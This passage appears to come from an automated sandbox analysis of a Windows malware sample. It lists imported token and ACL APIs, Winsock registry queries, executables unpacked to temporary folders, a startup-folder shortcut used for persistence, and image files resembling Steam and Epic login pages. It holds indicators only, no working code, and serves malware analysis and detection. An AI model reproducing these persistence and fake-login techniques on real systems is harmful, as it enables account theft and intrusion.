"00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp")65:T119e,Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: a56da099e59801bac606963e44684336] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: a56da099e59801bac606963e44684336] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: a56da099e59801bac606963e44684336] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: a56da099e59801bac606963e44684336] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: a56da099e59801bac606963e44684336] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: Qv9nk40.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: Qv9nk40.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: Qv9nk40.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: Qv9nk40.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: Qv9nk40.exe] Observed import api "AddAce" which can "Adds one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: 1va32uO2.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: 1va32uO2.exe] Observed import api "CheckTokenMembership" which can "Determines whether a specified security identifier (SID) is enabled in an access token" [Source: 1va32uO2.exe] Observed import api "CopySid" which can "Copies a security identifier (SID) to a buffer" [Source: 1va32uO2.exe] Observed import api "DuplicateToken" which can "Creates a new access token that duplicates one already in existence" [Source: 1va32uO2.exe] Observed import api "DuplicateTokenEx" which can "Creates a new access token that duplicates an existing token" [Source: 1va32uO2.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: 1va32uO2.exe] Observed import api "GetAce" which can "Obtains a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: 1va32uO2.exe] Observed import api "GetAclInformation" which can "Retrieves information about an access control list (ACL)" [Source: 1va32uO2.exe] Observed import api "GetLengthSid" which can "Returns the length in bytes of a valid security identifier (SID)" [Source: 1va32uO2.exe] Observed import api "GetSecurityDescriptorDacl" which can "Retrieves a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: 1va32uO2.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: 1va32uO2.exe] Observed import api "InitializeAcl" which can "Initializes a new ACL structure" [Source: 1va32uO2.exe] Observed import api "InitializeSecurityDescriptor" which can "Initializes a new security descriptor" [Source: 1va32uO2.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: 1va32uO2.exe] Observed import api "SetSecurityDescriptorDacl" which can "Sets information in a discretionary access control list (DACL)" [Source: 1va32uO2.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: cw8sM05.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: cw8sM05.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: cw8sM05.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: cw8sM05.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: cw8sM05.exe]66:T9ba,"4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES"; Value: "") "4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "") "4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000008"; Key: "PACKEDCATALOGITEM"; Value: "") "4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000009"; Key: "PACKEDCATALOGITEM"; Value: "")67:T4f8,"Qv9nk40.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\Qv9nk40.exe]- [targetUID: 00000000-00000480] "1va32uO2.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\1va32uO2.exe]- [targetUID: 00000000-00001640] "cw8sM05.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\cw8sM05.exe]- [targetUID: 00000000-00000296] "4Du834Zv.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\IXP002.TMP\4Du834Zv.exe]- [targetUID: 00000000-00003776] "sqlite3.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\tempAVS4CRoIeEXM83E\sqlite3.dll]- [targetUID: 00000000-00003776] "6RL4Tz0.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\6RL4Tz0.exe]- [targetUID: 00000000-00002216] "7pm0Cc79.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\7pm0Cc79.exe]- [targetUID: 00000000-00000480] "FANBooster131.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\FANBooster131\FANBooster131.exe]- [targetUID: 00000000-00003776]68:T1514,Dropped file: "FANBooster131.lnk" - Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\FANBooster131.lnk]- [targetUID: 00000000-00003776] Dropped file: "76C4A5585D9099B27A68C7AA37A47AE7" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\76C4A5585D9099B27A68C7AA37A47AE7]- [targetUID: 00000000-00001932] Dropped file: "P0EVBDGD.htm" - Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP\P0EVBDGD.htm]- [targetUID: 00000000-00000696] Dropped file: "imagestore.dat" - Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\imagestore\3mt7jhv\imagestore.dat]- [targetUID: 00000000-00001612] Dropped file: "77EC63BDA74BD0D0E0426DC8F8008506" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00003776] Dropped file: "en-US.4" - Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\DomainSuggestions\en-US.4]- [targetUID: 00000000-00000696] Dropped file: "739F2FF4259CDC6CBE7B90F1A95601EF" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\739F2FF4259CDC6CBE7B90F1A95601EF]- [targetUID: 00000000-00003792] Dropped file: "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00003336] Dropped file: "B66240B0F6C84BD4857ABA60CF5CE4A0_5043E0F5DF723415C9EECC201C838A62" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\B66240B0F6C84BD4857ABA60CF5CE4A0_5043E0F5DF723415C9EECC201C838A62]- [targetUID: 00000000-00001932] Dropped file: "BAD725C80F9E10846F35D039A996E4A8_88B6AE015495C1ECC395D19C1DD02894" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\BAD725C80F9E10846F35D039A996E4A8_88B6AE015495C1ECC395D19C1DD02894]- [targetUID: 00000000-00001932] Dropped file: "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA]- [targetUID: 00000000-00003336] Dropped file: "75CA58072B9926F763A91F0CC2798706_056B48C93C4964C2E64C0A8958238656" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\75CA58072B9926F763A91F0CC2798706_056B48C93C4964C2E64C0A8958238656]- [targetUID: 00000000-00001932] Dropped file: "CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA]- [targetUID: 00000000-00003336] Dropped file: "620BEF1064BD8E252C599957B3C91896" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\620BEF1064BD8E252C599957B3C91896]- [targetUID: 00000000-00001932] Dropped file: "4T0IOT8E.txt" - Location: [%APPDATA%\Microsoft\Windows\Cookies\4T0IOT8E.txt]- [targetUID: 00000000-00000696] Dropped file: "E87CE99F124623F95572A696C80EFCAF_9E9C5BD522DEAFF0AF9BF0B0877DDF33" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_9E9C5BD522DEAFF0AF9BF0B0877DDF33]- [targetUID: 00000000-00003336] Dropped file: "EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619]- [targetUID: 00000000-00000948] Dropped file: "E87CE99F124623F95572A696C80EFCAF_9FBD3BA6168F3C4317F2AAB1E548FE96" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_9FBD3BA6168F3C4317F2AAB1E548FE96]- [targetUID: 00000000-00003336] Dropped file: "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419]- [targetUID: 00000000-00003864] Dropped file: "80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53]- [targetUID: 00000000-00000696] Dropped file: "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A]- [targetUID: 00000000-00000696] Dropped file: "80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868]- [targetUID: 00000000-00000696] Dropped file: "35DDEDF268117918D1D277A171D8DF7B_37E6CDD790978A086F5FC37183E97C01" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\35DDEDF268117918D1D277A171D8DF7B_37E6CDD790978A086F5FC37183E97C01]- [targetUID: 00000000-00003792] Dropped file: "F07644E38ED7C9F37D11EEC6D4335E02_EC50BC49A28D68A36F5274F1BD1417C1" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_EC50BC49A28D68A36F5274F1BD1417C1]- [targetUID: 00000000-00003336] Dropped file: "F53EB4E574DE32C870452087D92DBEBB_7C087922A303D67589EB4C42E87D9B79" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F53EB4E574DE32C870452087D92DBEBB_7C087922A303D67589EB4C42E87D9B79]- [targetUID: 00000000-00001932]69:T91e,"new_login_bg_strong_mask_1_.jpg" has type "JPEG image data Exif standard: [TIFF image data little-endian direntries=0] baseline precision 8 1920x1080 components 3" and extension "jpg" "header_logo_2_.png" has type "PNG image data 744 x 171 8-bit/color RGBA non-interlaced" and extension "png" "Y0L6f5sxdIV_1_.png" has type "PNG image data 283 x 315 8-bit colormap non-interlaced" and extension "png" "epic-favicon-96x96_1_.png" has type "PNG image data 96 x 96 8-bit/color RGBA non-interlaced" and extension "png" "header_menu_hamburger_2_.png" has type "PNG image data 244 x 212 8-bit/color RGBA non-interlaced" and extension "png" "footerLogo_valve_1_.png" has type "PNG image data 96 x 26 8-bit/color RGBA non-interlaced" and extension "png" "code_box_1_.png" has type "PNG image data 222 x 28 8-bit/color RGBA non-interlaced" and extension "png" "friendlyname_box_1_.png" has type "PNG image data 222 x 28 8-bit/color RGBA non-interlaced" and extension "png" "logo_steam_footer_1_.png" has type "PNG image data 92 x 26 8-bit/color RGBA non-interlaced" and extension "png" "footerLogo_valve_new_1_.png" has type "PNG image data 176 x 50 8-bit/color RGBA non-interlaced" and extension "png" "logo_valve_footer_1_.png" has type "PNG image data 92 x 26 8-bit/color RGBA non-interlaced" and extension "png" "ico_twitter_1_.png" has type "PNG image data 16 x 16 8-bit/color RGBA non-interlaced" and extension "png" "ico_facebook_1_.png" has type "PNG image data 16 x 16 8-bit/color RGBA non-interlaced" and extension "png" "logo46x38_1_.png" has type "PNG image data 46 x 38 8-bit/color RGBA non-interlaced" and extension "png" "btn_header_installsteam_download_1_.png" has type "PNG image data 15 x 13 8-bit/color RGBA non-interlaced" and extension "png" "btn_arrow_down_padded_1_.png" has type "PNG image data 19 x 12 8-bit/color RGBA non-interlaced" and extension "png" "O7nelmd9XSI_1_.png" has type "PNG image data 1 x 1 1-bit colormap non-interlaced" and extension "png" "header_logo_1_.png" has type "PNG image data 744 x 171 8-bit/color RGBA non-interlaced" and extension "png" "header_menu_hamburger_1_.png" has type "PNG image data 244 x 212 8-bit/color RGBA non-interlaced" and extension "png" "logo_valve_footer_2_.png" has type "PNG image data 92 x 26 8-bit/color RGBA non-interlaced" and extension "png"6a:T8004,"initAft()